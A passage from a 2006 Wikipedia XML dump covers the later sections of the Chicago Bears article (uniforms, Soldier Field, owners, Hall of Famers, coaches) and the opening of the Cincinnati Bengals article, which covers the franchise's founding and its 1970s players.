By 1949, the team was wearing the familiar navy blue shirts with white, rounded numbers. In 1956, the team added &quot;TV numbers&quot; to the sleeves. The Bears 'C' [[logo]] first appeared on the helmets in 1962. The logo changed from white to a white-bordered orange 11 years later, and has remained unchanged ever since. The Bears added the initials ''GSH'' to the left sleeve of their jerseys in 1984 in honor of the late founder/owner/player/head coach 'Papa Bear' George S. Halas who passed away on [[October 31]], [[1983]].

Other variations to the Bears uniforms over the years include the addition of navy blue pants as a part of the road kit in 1984. On [[October 7]], [[2002]] the Bears wore navy blue pants with their navy blue home jerseys for the first and so far only time in team history.  On [[November 13]], [[2005]], the Bears introduced an orange alternate home jersey. The orange swaps roles with the navy blue on this alternate jersey, as it becomes the dominant color while the navy complements.

==Stadium==
{{details|Soldier Field}}
&lt;!-- Image with unknown copyright status removed: [[Image:Soldierfield.jpg|thumb|right|Soldier Field]] --&gt;
[[Image:Pr99-1.jpg|right|thumb|Soldier Field II]]
[[Soldier Field]], located on [[Lake Shore Drive]] in [[Chicago Illinois]], is the current home to the Bears. It was closed on Sunday, [[January 20]], [[2002]] a day after the Bears lost in the [[NFL playoffs, 2001-02|playoffs]].  It reopened on [[September 27]], [[2003]] after a complete rebuild (the second in the stadium's history). Many fans refer to the rebuilt stadium as '''Soldier Field II'''.

The Bears moved into Soldier Field in 1971 after [[Wrigley Field]] became too small to hold an NFL event.  The stadium's playing turf was changed to [[astroturf]] in the early 1980's. But due to player complaints, the turf was replaced by natural grass.

In 2002, the stadium was closed and rebuilt with only the exterior wall of the stadium being preserved.  Some people viewed the remodeling as a mistake.  They believed that the current structure of the stadium has made the stadium more of an eyesore than landmark.  People have dubbed the stadium such names as the &quot;Mistake on the Lake&quot;.{{ref|mistake}}

In 2006, since the Bears won the NFC North and the No. 2 Seed in the NFC Playoffs, the team hosted a playoff game on January 15 at Soldier Field against the [[Carolina Panthers]].  This was the first playoff game there since the stadium reopened.

'''Some Famous Bears Games at Soldier Field:'''&lt;br&gt;
1984: Against the [[New Orleans Saints]], [[Walter Payton]] breaks [[Jim Brown]]'s All-Time NFL Career Rushing Record.&lt;br&gt;
1986: NFC Championship Game, Bears shut out the [[St. Louis Rams|Los Angeles Rams]], 24-0. &lt;br&gt;
1988: NFC Divisional Playoff Game: aka '''[[Fog Bowl (American football)|The Fog Bowl]]'''&lt;br&gt;
2001: Mike Brown's miracle game winning touchdown interception returns two weeks in a row vs. the [[San Francisco 49ers]] and the [[Cleveland Browns]]. &lt;br&gt;
2005: Nathan Vasher fields a missed field goal vs. San Francisco and returns it 108 yards for a touchdown, the longest play in NFL history.

==The Bears in popular culture==
[[Image:Superbowlshuffle.jpg|right|thumb|The '85 Bears doing the Super Bowl Shuffle]]
The 1971 TV-movie ''[[Brian's Song]]'' starred [[Billy Dee Williams]] as [[Gale Sayers]] and [[James Caan]] as [[Brian Piccolo]].  The film told of how Piccolo helped Sayers recover from a devastating knee injury to return to his status as one of the league's best players, and how Sayers in turn helped the Piccolo family through Brian's fatal illness.  It became one of the best-loved sports films of all time. A remake of the movie starred [[Sean Maher]] as Piccolo and [[Mekhi Phifer]] as Sayers.

In addition to the [[Super Bowl Shuffle]]{{ref|shuffle}} rap song, the Bears' success in the 1980s, especially head coach [[Mike Ditka]], inspired a recurring sketch on the [[United States|American]] [[sketch comedy]] [[Television program|program]] [[Saturday Night Live]] called &quot;[[Bill Swerski's Superfans]].&quot; The sketch featured ''[[Cheers]]'' co-star [[George Wendt]], a Chicago native, as host of a radio talk-show, with co-panelists Karl ([[Robert Smigel]]), Pat ([[Mike Myers (actor)|Mike Myers]]) and Todd ([[Chris Farley]]).  To hear them tell it, &quot;Da Bears,&quot; Coach Ditka, &quot;Da Bulls&quot; and [[Michael Jordan]] could do no wrong.  The sketch stopped after Ditka was fired in 1993 and Jordan made his first retirement soon after, but made a brief comeback when Jordan made his first comeback in 1995, with guest-host [[John Goodman]] playing Pat in place of the now-departed Myers, suggesting that the absence of Ditka and Jordan from the Chicago sports scene had led him to overeat and become as overweight as Farley.  The sketch usually showed the panelists drinking lots of beer and eating lots of sausage (usually referred to as &quot;[[Polish sausage]]&quot;), and often featured Farley as Todd getting so agitated about what was happening with the Bears (or the Bulls) that he suffered a heart attack, but quickly recovered.  This sketch could be viewed differently following Farley's 1997 death from a drug-induced real-life heart attack.

Ditka, [[Dick Butkus]], [[Walter Payton]], [[Jim McMahon]], [[William Perry]] and [[Brian Urlacher]] are among Bears figures known for their appearances in TV commercials.

==Owners==
{{See also|George Halas}}

The Bears were founded by A.E. Staley technically speaking, but everyone including NFL record books say that [[George Stanley Halas]], nicknamed '''&quot;Papa Bear&quot;''' and '''&quot;Mr. Everything&quot;''',  was the founder and first owner of the Chicago Bears.  Halas played and coached for the franchise in the 1920's and was named to several All-Pro teams in the decade.  He will be remembered for the infamous signing of [[college]] all-star [[Red Grange]].  

In his return in the late 1930s, Halas - with University of Chicago coach Clark Shaughnessy - perfected the T-formation system to create a revolutionary and overwhelming style of play which drove the Bears to an astonishing 73-0 victory over the [[Washington Redskins]] in the [[NFL Championship Game, 1940|1940 NFL Championship Game]], where both starters and regulars dominated. Every other team in the league immediately began trying to imitate the format. The Bears repeated as NFL champions in [[1941 in sports|1941]], and the 1940s would be remembered as the era of the &quot;[[Monsters of the Midway]]&quot;.

Halas retired in 1967 and spent the rest of his days as the owner of the Bears.  He became the only person to be involved with the NFL in the first 60 years of it existance and when he passed in 1983, Halas left behind a legacy of truly being Mr. Everything with a resume of 63 years as an owner, 40 as a coach, 324 wins, and 8 NFL titles as a coach or owner.  He was also apart of the [[Pro Football Hall of Fame]]'s first induction class in 1963.  In his honor, the [[National Football League]] named the [[National Football Conference]] Championship trophy in his honor as the [[NFC Championship|George Halas Memorial Trophy]].

After Halas's death, his daughter Virginia McCaskey took over as the owner of the team, but in sense the team was ran on a daily basis by her son, Michael McCaskey until 1998, when Mrs. McCaskey replaced him with Ted Phillips.  Phillips is the current man in charge of the Bears.  There have been unconfrimed rurmors that Michael McCaskey, the hier to the ownership of the team, will possible sell the team.

As of 2005, the Forbes Magazine has reported that the Chicago Bears franchise is worth $841 million{{ref|value}}.  The team also has major sponsership with [[Bank One]], [[Anheuser-Busch]] (nyse: BUD), [[Toyota Motor]] (nyse: TM), [[Boeing]] (nyse: BA), and [[Coca-Cola]] (nyse: KO).{{ref|sponsership}}

[[Image:50 tedphillips.jpg|right|200px|thumb|Current Chicago Bears' President and CEO [[Ted Phillips]]]]
{| class=&quot;wikitable&quot;
|-
!Owner(s)
!Year(s)
|-
|A.E. Staley || 1919-1921
|-
|George Halas and Dutch Sternaman || 1921-1932
|-
|George Halas || 1932-1983
|-
|Virginia McCaskey and Family || 1983-present
|-
|}

===Club Presidents===
{| class=&quot;wikitable&quot;
|-
!President(s)
!Year(s)
|-
|George Halas || 1919-1953
|-
|George Halas, Jr.|| 1953-1979
|-
|Mike McCaskey || 1979-1998
|-
|Ted Phillips || 1998-present
|-
|}

==Team records==
{{details|Chicago Bears statistics}}

Throughout the club's history{{ref|records}} kicker [[Kevin Butler]] holds the record for scoring the most points in his ten-year Bear career.  He scored 1,116 points as the Bears kicker from 1985 to 1995.  He is followed in distant second place by Hall of Famer [[Walter Payton]] with 750 points.

Chicago Bears [[Steve McMichael]], (1981-93) holds the record for most consective games played by a Bear with 191.  In second place is [[Walter Payton]], who played 186 games from 1975 to 1987 at running back, a position known to injury, in a span of 13 seasons only missing one game.

[[Mark Bortz]] holds the record for most Bear playoff appearances with 13, and is followed by 8 other players, who have played in 12 playoff games.  The 1940 Chicago Bears team hold the record for the biggest defeat in an [[NFL]] game ([[NFL playoffs|playoff]] or regular season) with a 73-0 whipping over the [[Washington Redskins]] in the [[NFL Championship Game, 1940|1940 NFL Championship Game]].

Also Halas holds the team record for coaching the most seasons with 40, and with the most career wins of 324.  Halas's record was a standing NFL record through [[1993 NFL season|1993]].  [[Mike Ditka]] is the closest to Halas with 112 career victories.

==Current roster==
{{Chicago Bears roster}}

==Famous players==
{{details|List of Chicago Bears players}}

Over 1,000 players have played on the Chicago Bears roster from 1920 to 2005.

===[[Pro Football Hall of Fame]]rs===
The Bears boast the most enshrined Hall-of-Famers (26){{ref|membership}}in NFL History. The original inductees include [[George Halas]], [[Bronko Nagurski]], and [[Red Grange]] in 1963, while defensive end [[Dan Hampton]] was most recently inducted in 2002.
[[Image:Coachmikeditka.jpg|thumb|right|180px|Hall of Famer [[Mike Ditka|&quot;Iron Mike&quot; Ditka]]]]

[[Image:Payton_SI_1984_10_15.jpg|thumb|right|[[Walter Payton]]: The Greatest Running Back in Chicago Bears' history.]]
{| class=&quot;wikitable&quot;
|-
|colSpan=3 align=center |'''Chicago Bears Hall of Famers'''
|-
!No.
!Player
!Positions
|-
| 1 ||[[Paddy Driscoll]]|| QB-S-K, Head Coach
|-
| 3 || [[Bronko Nagurski]]|| RB-OT-LB
|-
| 5 || [[George McAfee]]||  RB-S
|-
| 7 || [[George Halas]]|| founder, owner, Head Coach, TE-DE
|-
| 11 || [[William R. Lyman|Link Lyman]]|| OT-DT
|-
| 13 ||[[George Trafton]]|| C-DT
|-
| 13 ||[[Joe Stydahar]]|| OT-DT
|-
| 16 ||[[Ed Healey]]|| OT-DT
|-
| 16 ||[[George Musso]]|| C-DT
|-
| 16 ||[[George Blanda]]|| QB
|-
| 21 ||[[Dan Fortmann|Danny Fortmann]]|| G-DT
|-
| 34 ||[[Walter Payton]]|| RB
|-
| 40 ||[[Gale Sayers]]|| RB
|-
| 42 ||[[Sid Luckman]]|| QB-CB
|-
| 50 ||[[Mike Singletary]]|| LB
|-
| 51 ||[[Dick Butkus]]|| LB
|-
| 56 ||[[Bill Hewitt]]|| TE-DE
|-
| 61 ||[[Bill George]]|| LB
|-
| 66 ||[[Bulldog Turner|Clyde (Bulldog) Turner]]|| C-DT
|-
| 71 ||[[George Connor (football)|George Connor]]|| OT-LB
|-
| 77 ||[[Red Grange|Harold (Red) Grange]]|| RB-CB
|-
| 78 ||[[Stan Jones (football)|Stan Jones]]|| OT
|-
| 81 ||[[Doug Atkins]]|| DE
|-
| 89 ||[[Mike Ditka]]|| TE, Head Coach
|-
| 99 ||[[Dan Hampton]]|| DE
|-
|&lt;nowiki&gt;--&lt;/nowiki&gt; ||[[Jim Finks]]|| General Manager
|}

===Retired numbers===
The Bears have retired 13 numbers, which is the most in the NFL.  The Bears also rank third in all of professional sports in retired numbers behind the [[New York Yankees]] and [[Boston Celtics]].
[[Image:George_Halas_Photo.jpg|thumb|right|180px|[[George Halas]] was the Chicago Bears founder, owner, head coach, and player]]
{| class=&quot;wikitable&quot;
|-
|colSpan=2 align=center |'''Chicago Bears Retired Numbers'''
|-
!No.
!Player
|-
|3 ||[[Bronko Nagurski]]
|-
| 5 ||[[George McAfee]]
|-
| 7 ||[[George Halas]]
|-
|28 ||[[Willie Galimore]]
|-
|34 ||[[Walter Payton]]
|-
|40 ||[[Gale Sayers]]
|-
|41 ||[[Brian Piccolo]]*  
|-
|42 ||[[Sid Luckman]]
|-
|51 ||[[Dick Butkus]]
|-
|56 ||[[Bill Hewitt]]
|-
|61 ||[[Bill George]]
|-
|66 ||[[Bulldog Turner|Clyde (Bulldog) Turner]]
|-
|77 ||[[Red Grange|Harold (Red) Grange]]
|-
|}

''&lt;nowiki&gt;*&lt;/nowiki&gt; the subject of the film ''[[Brian's Song]]''

==Awards==
[[Image:Halas 050331.jpg|right|thumb|'''Fun Fact:''' The NFC Championship trophy is named the George S. Halas Memorial Trophy after Papa Bear himself, who was a pioneer in Pro Football]]
'''[[NFL Coach of the Year Award|Coach of the Year]]:''' (8)

''1963:''  George Halas&lt;br&gt;
''1965:''  George Halas&lt;br&gt;
''1976:''  Jack Pardee&lt;br&gt;
''1985:''  Mike Ditka&lt;br&gt;
''1988:''  Mike Ditka&lt;br&gt;
''1994:''  Dave Wannstedt&lt;br&gt;
''2001:''  Dick Jauron&lt;br&gt;
''2005:''  Lovie Smith

'''[[NFL Most Valuable Player Award|Most Valuable Player]]:''' (2)

''1943:'' Sid Luckman QB&lt;br&gt;
''1977:'' Walter Payton RB

'''[[NFL Defensive Rookie of the Year Award|Defensive Rookie of the Year]]:''' (3)

''1973:'' Wally Chambers DT&lt;br&gt;
''1990:'' Mark Carrier S&lt;br&gt;
''2000:'' Brian Urlacher LB

'''[[NFL Offensive Rookie of the Year Award|Offensive Rookie of the Year]]:''' (4)

''1961:'' Mike Dikta TE&lt;br&gt;
''1962:'' Ron Bull RB&lt;br&gt;
''1965:'' Gayle Sayers RB&lt;br&gt;
''2001:'' Anthony Thomas RB

'''[[NFL Defensive Player of the Year Award|Defensive Player of the Year]]:''' (3)

''1985:'' Mike Singletary LB&lt;br&gt;
''1988:'' Mike Singletary LB&lt;br&gt;
''2005:'' Brian Urlacher LB

'''[[Super Bowl MVP]]:''' (1)

''1985:'' Richard Dent DE ([[Super Bowl XX|XX]])

==Head coaches==
{| class=&quot;wikitable&quot;
|-
!Head Coaches
!Tenure
!Record
|-
|[[Fritz Wasem]]&lt;br&gt;[[Red Brannon]]&lt;br&gt;[[James Cook (football)|James Cook]] || 1919||N/A***
|-
|[[George Halas]]* || 1920-1929||324-151-31**
|-
|[[Ralph Jones]] || 1930-1932||24-10-7
|-
|[[George Halas]]*|| 1933-1942||324-151-31**
|-
|[[Hunk Anderson]]&lt;br&gt;[[Luke Johnsos]] || 1942-1945||24-12-2
|-
|[[George Halas]]* || 1946-1955||324-151-31**
|-
|[[Paddy Driscoll]] || 1956-1957||14-10-1
|- 
|[[George Halas]]* || 1958-1967||324-151-31**
|- 
|[[Jim Dooley]] || 1968-1971||20-36-0
|- 
|[[Abe Gibron]] || 1972-1974||11-30-1
|-
|[[Jack Pardee]]|| 1975-1977||20-23-0
|- 
|[[Neill Armstrong]] || 1978-1981||30-35-0
|-
|[[Mike Ditka]] || 1982-1992||112-68-0
|-
|[[Dave Wannstedt]] || 1993-1998||41-57-0
|- 
|[[Dick Jauron]] || 1999-2003||35-46-0
|-
|[[Lovie Smith]] || 2004-Present||16-17-0
|-
|}

''&lt;nowiki&gt;*&lt;/nowiki&gt; George Halas coached the Bears at four different times''&lt;br&gt;
''&lt;nowiki&gt;**&lt;/nowiki&gt; Halas's record combined over all four coaching times''&lt;br&gt;
''&lt;nowiki&gt;***&lt;/nowiki&gt; No official records have been found for the 1919 season''

===Current staff===
{| class=&quot;wikitable&quot;
|-
!Position
!Name
|-
|Head Coach || [[Lovie Smith]]
|-
|Offensive Coordinator || [[Ron Turner (football coach)|Ron Turner]]
|-
|Defensive Coordinator || [[Ron Rivera]]
|-
|Special Teams Coach || [[Dave Toub]]
|-
|Quarterbacks Coach || [[Wade Wilson (football player)|Wade Wilson]]
|-
|Running Backs Coach || [[Tim Spencer]]
|-
|Wide Receivers Coach || [[Darryl Drake]]
|-
|Tight Ends Coach || [[Rob Boras]]
|-
|Offensive Line Coach || [[Harry Hiestand]]
|-
|Defensive Line Coach || [[Don Johnson (football coach)|Don Johnson]]
|-
|Linebackers Coach || [[Bob Babich]]
|-
|Defensive Backs Coach || [[TBA]]
|-
|Strength and Conditioning || [[Rusty Jones]]
|-
|Defensive Assistant Quality Control || [[Gill Byrd]]
|-
|}

==Broadcasters==
The Chicago Bears can be heard around the Chicago area, Northwest Indiana, and in some cities in the Midwest.

'''Flagship stations:'''
:'''Radio Station:''' WBBM (780 AM)
:'''Radio Announcers:''' Jeff Joniak (play by play), Tom Thayer (color) Zach Zaidman (sideline)
:'''TV Station for Preseason Games:''' WMAQ (NBC 5 Chicago); WSNS (Telemundo Chicago)
:'''Local TV Coverage:''' ''official:''  WMAQ (NBC 5 Chicago), Comcast Sports Net; ''unofficial:''  WFLD (FOX Chicago) 

'''Midwest:'''&lt;br&gt;
''As of 2005''
:'''Local TV Partners for Preseason Games:'''
:WIFR-Rockford, Channel 23&lt;br&gt; 
:WRSP-Springfield, Channel 55&lt;br&gt; 
:WCCU-Champaign, Channel 27&lt;br&gt; 
:WSBT-South Bend, Channel 22&lt;br&gt; 
:KLJB-Quad Cities, Channel 18&lt;br&gt;

==Footnotes==
# {{note|bear-pack}} {{cite web
 | title = Bears, Packers have love-hate relationship
 | work = NFL Insider
 | url = http://www.nfl.com/teams/story/CHI/4639335
 | accessdate = December
 | accessyear = 2005
 }}
# {{note|grange}} {{cite web
 | title = Galloping Ghost scared opponents
 | work = ESPN.com
 | url = http://espn.go.com/sportscentury/features/00014213.html
 | accessdate = December
 | accessyear = 2005
 }}
# {{note|1940}} {{cite web
 | title = General History - Chronology (1940 to 1959)
 | work = ESPN.com
 | url = http://www.profootballhof.com/history/general/chronology/1940-1959.jsp
 | accessdate = January
 | accessyear = 2006
 }}
# {{note|bear-logo}} {{cite web
 | title = History of the Chicago Bears Logo
 | work = Chicago Bears
 | url = http://www.chicagobears.com/history/uniform.jsp
 | accessdate = August
 | accessyear = 2005
 }}
# {{note|uniforms}} {{cite web
 | title = History of the Chicago Bears Uniform
 | work = Chicago Bears
 | url = http://org-www.chicagobears.com/history/uniform.jsp
 | accessdate = August
 | accessyear = 2005
 }}&lt;br&gt;
# {{note|mistake}} {{cite web
 | title = Mistake on the Lake
 | work = The Times of Northwest Indiana
 | url = http://www.thetimesonline.com/articles/2003/09/30/news/top_news/965adf222a1ac3af86256db100030920.prt
 | accessdate = September
 | accessyear = 2003
 }}
# {{note|shuffle}} {{cite web
 | title = Remembering the Super Bowl Shuffle
 | work = ESPN
 | url = http://sports.espn.go.com/espn/page3/story?page=katcher/040825
 | accessdate = August
 | accessyear = 2004
 }}
# {{note|value}} {{cite web
 | title = NFL Franchise Values: Chicago Bears
 | work = Forbes Magazine
 | url = http://www.forbes.com/lists/2005/30/301335.html
 | accessdate = December
 | accessyear = 2005
 }}&lt;br&gt;
# {{note|sponsership}} {{cite web
 | title = NFL Franchise Sponsers: Chicago Bears
 | work = Forbes Magazine
 | url = http://www.forbes.com/lists/2005/30/301335.html
 | accessdate = December
 | accessyear = 2005
 }}
# {{note|records}} {{cite web
 | title = Chicago Bears Team Records
 | work = Chicago Bears
 | url = http://org-www.chicagobears.com/history/records.jsp
 | accessdate = August
 | accessyear = 2005
 }}
# {{note|membership}} {{cite web
 | title = Hall of Famers by Team
 | work = Pro Football Hall of Fame
 | url = http://www.profootballhof.com/hof/teams.jsp
 | accessdate = February
 | accessyear = 2006
 }}

== References ==
* {{cite web
 | title = Chicago Bears.com - History
 | url = http://www.chicagobears.com/history/
 | accessdate = January 31
 | accessyear = 2006
 }}
* {{cite web
 | title = Chicago Bears.com - Team Stats
 | url = http://org-www.chicagobears.com/history/records.jsp 
 | accessdate = July 31
 | accessyear = 2006
 }}
* {{cite web
 | title = Pro Football Hall of Fame - Chicago Bears
 | url = http://www.profootballhof.com/history/team.jsp?franchise_id=6
 | accessdate = February 9
 | accessyear = 2006
 }}

==External links==
'''Official Team Site'''
*[http://www.chicagobears.com/ Chicago Bears]
'''Historical Team Links'''
*[http://bearshistory.com/ Bearshistory.com]
*[http://www.sportsecyclopedia.com/nfl/chicago/bears.html Sports E-Cyclopedia.com]
'''Fans Sites'''
*[http://www.bearscast.com/ Bearscast - Chicago Bears Podcast]
*[http://members.tripod.com/~dandeath/bears.html Dr. Death's Chicago Bears World]
*[http://members.aol.com/DiBEARS101/index.html DiBEARS101's Chicago Bears Page]
*[http://www.cogsci.indiana.edu/bears/ John's Chicago Bears Site]
*[http://members.tripod.com/~PackerHater/ PackerHater's Chicago Bears Page]
*[http://profootball.miningco.com/msubnfc6.htm Mining Co. Chicago Bears]
*[http://www.sportshares.com/profootball/links/chicago.html SportsShares - Chicago Bears]
*[http://www.midwestinfopedia.com/tailgate/ Bears Tailgate Scoiety]

{{Chicago Bears}}

{{NFL}}

[[Category:Chicago Bears| ]]
[[Category:National Football League teams]]
[[Category:1919 establishments]]

[[de:Chicago Bears]]
[[fr:Bears de Chicago]]
[[it:Chicago Bears]]
[[pt:Chicago Bears]]
[[sv:Chicago Bears]]</text>
    </revision>
  </page>
  <page>
    <title>Cincinnati Bengals</title>
    <id>6612</id>
    <revision>
      <id>41974541</id>
      <timestamp>2006-03-02T23:59:03Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (3): a astoundingly→an astoundingly, commited→committed, possesion→possession; unicodify</comment>
      <text xml:space="preserve">{{NFL team | name = Cincinnati Bengals
| logo = New_Cincinnati_Bengals_Logo.gif
| founded = 1968
| city = Cincinnati, Ohio
| colors = Black, Orange and White
| coach = [[Marvin Lewis]]
| owner = [[Mike Brown (football team owner)|Mike Brown]]
| general manager = [[Duke Tobin]]
| mascot = [[Who Dey]]
| stations = [[WSAI (AM)|WSAI (1360 AM)]], [[WLW|WLW (700 AM)]], and WOFX (92.5 FM)
| announcers = Brad Johansen and Dave Lapham
| hist_yr = 1968
| affiliate_old =
[[American Football League]] (1968-1969)
*Western Division (1968-1969)
| NFL_start_yr = 1970
| division_hist =
*'''[[American Football Conference]] (1970-present)'''
**[[AFC Central]] (1970-2001)
**'''[[AFC North]] (2002-present)'''
| no_conf_champs = 2
| no_div_champs = 6
| conf_champs =
*'''AFC:''' 1981, 1988
| div_champs =
*'''AFC Central:''' 1970, 1973, 1981, 1988, 1990
*'''AFC North:''' 2005
| stadium_years =
*[[Nippert Stadium]] (1968-1969)
*[[Cinergy Field]] (1970-1999)
**a.k.a. [[Riverfront Stadium]] (1970-1995)
*'''[[Paul Brown Stadium]] (2000-present)'''
}}

The '''Cincinnati Bengals''' are a professional [[American football]] team based in [[Cincinnati, Ohio]]. They currently belong to the [[AFC North|Northern Division]] of the [[American Football Conference]] (AFC) in the [[National Football League]] (NFL). The Bengals began play in the [[American Football League]] as a 1968 [[expansion team]], and joined the NFL as part of the [[AFL-NFL Merger]].

:'''Uniform colors:''' Black, Orange and White
:'''Helmet design:''' Orange background with black tiger stripes

==Franchise history==
[[Image:Old_bengals_helmet.GIF|thumb|left|100px|Bengals' helmet design (1968-1980)]]
In 1967 a Cincinnati-based ownership group led by [[Paul Brown]] was granted a franchise in the [[American Football League]].  He named the team the Bengals in order &quot;to give it a link with past professional football in Cincinnati.&quot; [http://www.cincinnatibengals.com/team/history.asp]  Another Bengals team existed in the city from 1937 to 1941, and played in various incarnations of older American Football Leagues. The city of Cincinnati's Zoo was famous for having the rare [[Bengal Tiger]] in captivity which was very uncommon in the United States during that time.

Brown had become a coaching legend in football by 1967.  As head coach of the [[Cleveland Browns]] from 1946 to 1962, Brown led his team to a .759 winning percentage and seven league championships.  He became known as an innovator for his approach to training, game plans and other aspects of football.  In a controversial move, Brown was fired by new Browns owner [[Art Modell]] following the 1962 season.  

By 1965, Brown had made known his desire to become involved with professional football again.  Working with son [[Mike Brown|Mike]], he met with [[Ohio]] governor [[James Rhodes]] and agreed that the state could handle a second football team.  In 1966 the Cincinnati city council approved the construction of [[Riverfront Stadium]], and the next year Brown's group had their franchise.

The similarities between the Bengals and Brown's old team were striking.  Cleveland's team colors were orange, brown and white, and their helmets were solid orange with a white dorsal stripe over the crest.  The Bengals' team colors were orange, black and white, and their helmets were a similar shade of orange, with the only variations being the word &quot;Bengals&quot; in block letters on either side of the helmet and no stripe on the helmet.

With the completion of the [[AFL-NFL merger]] in 1970, the NFL's Browns were switched into the AFL-based [[American Football Conference]] and landed in the [[AFC Central]], the same division as the Bengals.  An instant rivalry was born, fueled initially by Paul Brown's rivalry with Modell.

===The first three seasons===
[[Image:Cincinnati-paul-brown-stadium.jpg|thumb|300px|[[Paul Brown Stadium]] in [[Cincinnati, Ohio|Cincinnati]], home of the Bengals.]]
For their inagural season they played at [[Nippert Stadium]] which is the current home of the [[University of Cincinnati]] [[Bearcat]]s. The team finished its first season with a 3-11 record, although one bright spot was running back [[Paul Robinson]].  Robinson rushed for 1,023 yards and was named the AFL Rookie of the Year.

====First Three Season Coach====
Founder [[Paul Brown]] coached the team for its first three seasons, accumulating 15 wins and 27 losses and one tie. One of Brown’s college draft stategies was to draft players with above average intelligence. [[punter (football position)|Punter]]/[[wide receiver]] Pat McInally attended [[Harvard]] and [[linebacker]] Reggie Williams attended [[Dartmouth College]] and served on [[Cincinnati]] city council while on the Bengals’ roster. Because of this policy, many former players were highly articulate and went on to have successful careers in [[commentary]] and [[broadcasting]] as well as the arts. In addition, Brown had a knack for locating and recognizing pro football talent in unusual places.

====First Three Seasons Game Notes====
*[[September 6]], [[1968]] - The Bengals play their first regular season game in [[San Diego]], falling short to the [[Chargers]] 29-13.

*[[September 15]], [[1968]] - The team wins its first regular season game in week two of the inaugural season, taming the [[Denver Broncos]] 24-10.

*[[November 17]], [[1968]] - The first road victory as the Bengals upset the [[Miami Dolphins]] 38-21. 

*[[December 20]], [[1970]] - In the final game of its third season as a pro football franchise, the Cincinnati Bengals defeat the [[Boston Patriots]] 45-7 to clinch the [[AFC Central]] division title. This is the first season after the [[NFL]]/[[AFL]] merger (which brought about the [[NFL]] as it is structured today), and the Bengals become the first [[AFC Central]] division champion.

*[[December 26]], [[1970]] - In their first playoff appearance, the Bengals fall short 17-0 in [[Baltimore]] to the eventual [[Super Bowl]] champion [[Indianapolis Colts|Baltimore Colts]].

===The 1970s===
In the '70s they moved to play at Riverfront Stadium, a home they shared with the [[Cincinnati Reds]] until the team move to Paul Brown Stadium in 2000.

====1970s Coaches====
Four men coached the team to a 72-76 record during this period.

*[[Paul Brown]] led the team to a 40-32 record. He moved to General Manager and eventually majority ownership of the Bengals.

*[[Bill &quot;Tiger&quot; Johnson]] took over the team in 1976. Tiger won 18 and lost 15, but resigned five games into the 1978 season after starting 0-5.

*Homer Rice took over at head coach in 1978 and led the team through 1979, winning 8 and losing 19.

*[[Forrest Gregg]] went 6-10 as head coach in 1980. Gregg played in [[Green Bay Packers|Green Bay]] for the legendary [[Vince Lombardi]]. Lombardi called Gregg the greatest football player he had ever coached.

====Memorable players from the 1970s====
*[[Greg Cook]] - Record setting rookie quarterback whose career was cut short by a devastating shoulder injury the following spring.  He would return three years later for one game. As a rookie, Cook set a single season [[NFL]] record for average gain per completed pass (17 yards).

*[[Ken Anderson]] (1971-1986) – A four time [[Pro Bowl]] [[quarterback]], particularly noted for his high-efficiency in passing holding a handful of [[NFL]] records. Returned as QB position coach and was offensive coordinator. In his 13 seasons as Bengals' starting [[quarterback]], Anderson completed 59.3% of his passes, threw for 32,838 yards, and 197 touchdowns. He holds the team record for career passing yards and career touchdown passes. Anderson led his team to the [[NFL]] playoffs four times, won three division titles and one [[AFC Championship]]. He holds the [[NFL]] season completion percentage record (70.6%), and won four season passing titles. The [[NFL]] awarded him [[MVP]] trophy in 1981, and he went on to lead his team to [[Super Bowl XVI]] where he set Super Bowl records for most completions(25) and highest completion percentage(73.5). He was one of the innovators of the [[West Coast offense]]. Despite these credentials, [[Ken Anderson]] has not been voted into the [[Pro Football Hall of Fame]].

*Paul Robinson (1968-1972) – two time [[pro bowl]] [[running back]], rookie of the year, 1968 (expansion year).

*[[Isaac Curtis]] (1973-1984) -  four time [[pro bowl]] [[wide receiver]] known for his speed and exceptional pass catching ability. Isaac played twelve seasons and holds the team record for receiving yards (7101) and average yards per catch(17.1). 

*Bob Trumpy (1969-1977) - Outspoken four time [[pro bowl]] [[tight end]] who now does commentary. Bob holds the team record for touchdown catches and average yards per catch by a [[tight end]].

*[[Pete Johnson]] (1977-1983) - Large [[pro bowl]] [[full back]] who holds the team record for career touchdowns (65).

*Dave Lapham (1974-1983) - A mutli-position offensive lineman who now does commentary for the team's radio broadcasts.

*Pat Mcinally  (1976-1985) – [[wide receiver]] and [[pro bowl]] [[punter (football position)|punter]].  [[Harvard]] educated, McInally is the only known player to attain a perfect score (50 points) on an NFL intelligence test.  He was also the first [[Harvard]] graduate ever to play in a pro bowl and a Super Bowl.

*Bruce Coslet (1969-1976) - Played [[tight end]] for the Bengals. Returned as offensive coordinator under Sam Wyche, left the team for a head coaching position with the [[New York Jets]], to return to Cincinnati as head coach from 1996-2000, winning 21 and losing 39.

*Mike Reid (1970-1974) – two time [[pro bowl]] [[defensive end]] who retired early from football to pursue a career in [[piano]] and song writing. Reid has written several [[grammy]] winning [[song]]s.

*Coy Bacon (1976-1977) - Coy was an expert pass rusher. He earned a [[pro bowl]] spot by setting the single season team record for [[quarterback sack]]s in 1976 with 22. 

*[[Ken Riley]] (1969-1983) - Ken was one of the best [[cornerback]]s of all time. He set the team single season record for interceptions (9) and the career record (65). In his last season of play, Riley led the [[American Football Conference|AFC]] with eight interceptions. At the time of his retirement, Ken Riley was number three in the [[NFL]] record book for all-time career interceptions with 65. Ken Riley has not been voted into the [[NFL]]'s [[Hall of Fame]].

*[[Lemar Parrish]] (1970-1977) - An 8 time [[pro bowl]]er (six times with the Bengals) at [[cornerback]], Lemar had 25 interceptions with the Bengals and 47 total in his career.  In addition to being a great defensive back, he excelled at kick and punt returning of special teams.  Parrish is the Bengals all time leader in touchdowns scored by &quot;return or recovery&quot; with 13 (4 on punt returns, 4 on interception returns, 3 on fumble returns, 1 on a kickoff return, and 1 on a blocked field goal return). He was is the only player in franchise history ever to score 2 &quot;return or recovery&quot; touchdowns in a single game, a feat he accomplished 3 times

*Tommy Casanova (1972-1977) - A three time [[pro bowl]] hard hitting [[free safety]], Tommy collected 17 career interceptions.

====1970s Games of Note====
*[[November 28]], [[1971]] - The Bengal defense earns its first shutout as Cincinnati shorted the [[San Diego Chargers]] 31-0.

*[[December 17]], [[1972]] - The Bengals set a team scoring record as they massacred the [[Tennessee Titans|Houston Oilers]] 61-17. In the game, Bengals' defensive back Lemmar Parrish set a single game team record by intercepting three passes, returning two of them for touchdowns.

